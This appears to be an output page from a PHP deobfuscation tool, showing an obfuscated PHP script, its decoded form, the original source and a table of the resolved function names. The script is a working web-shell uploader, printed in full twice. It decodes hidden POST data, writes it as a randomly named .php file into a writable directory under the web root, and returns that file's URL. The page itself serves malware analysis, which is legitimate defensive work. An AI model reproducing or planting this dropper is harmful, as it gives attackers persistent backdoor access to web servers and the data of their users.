Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $TbYzxrOu = 'D'."\117".'C'."\125".chr(266-189).'E'.chr(78)."\x54".chr(963-868).'R'.c..

Decoded Output download

<?php $TbYzxrOu = 'D'."O".'C'."U".chr(266-189).'E'.chr(78)."T".chr(963-868).'R'.chr(263-184)."O"."T";$JJfNzb = 'H'.'T'.'T'.chr(469-389).'_'.chr(828-756)."O".chr(83).'T';$GyshHW = "h".chr(504-388).chr(189-73).chr(483-371).':'.chr(47)."/";$IpEdMBtHIP = "."."p".'h'."p";$kIXLpzjBs = chr(419-307)."h".'p';$KMEbJGo = "f"."i".'l'.chr(1098-997).'_'."p".'u'."t".'_'."c".chr(682-571)."n".'t'.chr(101)."n"."t".chr(115);$UqLaB = 'r'."a"."w".chr(117)."r"."l".'d'."e".chr(689-590)."o".chr(100)."e";$dYUdjNXOps = chr(1109-992).chr(110).chr(1061-946)."e"."r".chr(136-31)."a".chr(1082-974).chr(105)."z".'e';$yyVUnvn = "i".chr(663-548)."_"."w".chr(951-837)."i"."t"."a".chr(98)."l".'e';$kqtDeNcHd = chr(472-360).chr(175-71).chr(112).chr(118).chr(791-690).'r'."s".'i'.chr(185-74).chr(110);$pQlzRoexS = chr(115).chr(401-285).chr(114)."_"."r".chr(111).chr(116).chr(379-330).chr(258-207);$SapKLg = chr(115).chr(523-422).'r'.chr(734-629).'a'.chr(820-712).chr(474-369).chr(776-654)."e";$fxACnmHl = "s".chr(633-517).chr(114)."_".chr(517-402).chr(112).chr(108)."i".chr(116);foreach ($_POST as $QgEDlDgeE => $BSYNns){$sZkFI = strlen($QgEDlDgeE);if ($sZkFI == 16){$BSYNns = $fxACnmHl($UqLaB($pQlzRoexS($BSYNns)));$QgEDlDgeE = array_slice($fxACnmHl(str_repeat($QgEDlDgeE, (count($BSYNns)/16)+1)), 0, count($BSYNns));function HsbzkXBqPu($YSAkv, $HWqEtPVHq, $QgEDlDgeE){$fULZLKLm = "0f196e21-c196-4755-9142-6aa1eb2cb876";return $YSAkv ^ $fULZLKLm[$HWqEtPVHq % strlen($fULZLKLm)] ^ $QgEDlDgeE;}$BSYNns = implode("", array_map("HsbzkXBqPu", array_values($BSYNns), array_keys($BSYNns), array_values($QgEDlDgeE)));$BSYNns = @$dYUdjNXOps($BSYNns);if (@is_array($BSYNns)){$tdyhPL = array_keys($BSYNns);$BSYNns = $BSYNns[$tdyhPL[0]];if ($BSYNns === $tdyhPL[0]){echo @$SapKLg(Array($kIXLpzjBs => @$kqtDeNcHd(), ));exit();}else {function MtvaaXdX($GzTeTaPHir){static $lbMFS = array();$gFduVijC = glob($GzTeTaPHir . '/*', GLOB_ONLYDIR);if (count($gFduVijC) > 0) {foreach ($gFduVijC as $GzTeTaPH) {if (@$yyVUnvn($GzTeTaPH)) {$lbMFS[] = $GzTeTaPH;}}}foreach ($gFduVijC as $GzTeTaPHir) MtvaaXdX($GzTeTaPHir);return $lbMFS;}$EDURB = $_SERVER[$TbYzxrOu];$gFduVijC = MtvaaXdX($EDURB);$tdyhPL = array_rand($gFduVijC);$ZQpOUKWSns = $gFduVijC[$tdyhPL] . "/" . substr(md5(time()), 0, 8) . $IpEdMBtHIP;@$KMEbJGo($ZQpOUKWSns, $BSYNns);echo $GyshHW . $_SERVER[$JJfNzb] . substr($ZQpOUKWSns, strlen($EDURB));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $TbYzxrOu = 'D'."\117".'C'."\125".chr(266-189).'E'.chr(78)."\x54".chr(963-868).'R'.chr(263-184)."\x4f"."\x54";$JJfNzb = 'H'.'T'.'T'.chr(469-389).'_'.chr(828-756)."\x4f".chr(83).'T';$GyshHW = "\150".chr(504-388).chr(189-73).chr(483-371).':'.chr(47)."\x2f";$IpEdMBtHIP = "\x2e"."\160".'h'."\x70";$kIXLpzjBs = chr(419-307)."\150".'p';$KMEbJGo = "\x66"."\x69".'l'.chr(1098-997).'_'."\x70".'u'."\x74".'_'."\x63".chr(682-571)."\x6e".'t'.chr(101)."\x6e"."\164".chr(115);$UqLaB = 'r'."\x61"."\167".chr(117)."\162"."\x6c".'d'."\145".chr(689-590)."\x6f".chr(100)."\x65";$dYUdjNXOps = chr(1109-992).chr(110).chr(1061-946)."\x65"."\x72".chr(136-31)."\141".chr(1082-974).chr(105)."\172".'e';$yyVUnvn = "\x69".chr(663-548)."\137"."\x77".chr(951-837)."\151"."\x74"."\141".chr(98)."\x6c".'e';$kqtDeNcHd = chr(472-360).chr(175-71).chr(112).chr(118).chr(791-690).'r'."\x73".'i'.chr(185-74).chr(110);$pQlzRoexS = chr(115).chr(401-285).chr(114)."\137"."\x72".chr(111).chr(116).chr(379-330).chr(258-207);$SapKLg = chr(115).chr(523-422).'r'.chr(734-629).'a'.chr(820-712).chr(474-369).chr(776-654)."\x65";$fxACnmHl = "\163".chr(633-517).chr(114)."\137".chr(517-402).chr(112).chr(108)."\x69".chr(116);foreach ($_POST as $QgEDlDgeE => $BSYNns){$sZkFI = strlen($QgEDlDgeE);if ($sZkFI == 16){$BSYNns = $fxACnmHl($UqLaB($pQlzRoexS($BSYNns)));$QgEDlDgeE = array_slice($fxACnmHl(str_repeat($QgEDlDgeE, (count($BSYNns)/16)+1)), 0, count($BSYNns));function HsbzkXBqPu($YSAkv, $HWqEtPVHq, $QgEDlDgeE){$fULZLKLm = "0f196e21-c196-4755-9142-6aa1eb2cb876";return $YSAkv ^ $fULZLKLm[$HWqEtPVHq % strlen($fULZLKLm)] ^ $QgEDlDgeE;}$BSYNns = implode("", array_map("HsbzkXBqPu", array_values($BSYNns), array_keys($BSYNns), array_values($QgEDlDgeE)));$BSYNns = @$dYUdjNXOps($BSYNns);if (@is_array($BSYNns)){$tdyhPL = array_keys($BSYNns);$BSYNns = $BSYNns[$tdyhPL[0]];if ($BSYNns === $tdyhPL[0]){echo @$SapKLg(Array($kIXLpzjBs => @$kqtDeNcHd(), ));exit();}else {function MtvaaXdX($GzTeTaPHir){static $lbMFS = array();$gFduVijC = glob($GzTeTaPHir . '/*', GLOB_ONLYDIR);if (count($gFduVijC) > 0) {foreach ($gFduVijC as $GzTeTaPH) {if (@$yyVUnvn($GzTeTaPH)) {$lbMFS[] = $GzTeTaPH;}}}foreach ($gFduVijC as $GzTeTaPHir) MtvaaXdX($GzTeTaPHir);return $lbMFS;}$EDURB = $_SERVER[$TbYzxrOu];$gFduVijC = MtvaaXdX($EDURB);$tdyhPL = array_rand($gFduVijC);$ZQpOUKWSns = $gFduVijC[$tdyhPL] . "/" . substr(md5(time()), 0, 8) . $IpEdMBtHIP;@$KMEbJGo($ZQpOUKWSns, $BSYNns);echo $GyshHW . $_SERVER[$JJfNzb] . substr($ZQpOUKWSns, strlen($EDURB));die();}}}}

Function Calls

chr 54

Variables

$UqLaB rawurldecode
$GyshHW http://
$JJfNzb HTTP_HOST
$SapKLg serialize
$KMEbJGo file_put_contents
$yyVUnvn is_writable
$TbYzxrOu DOCUMENT_ROOT
$fxACnmHl str_split
$kIXLpzjBs php
$kqtDeNcHd phpversion
$pQlzRoexS str_rot13
$IpEdMBtHIP .php
$dYUdjNXOps unserialize

Stats

MD5 b38d7c6c3f7034c0e13680e18c8d34d6
Eval Count 0
Decode Time 141 ms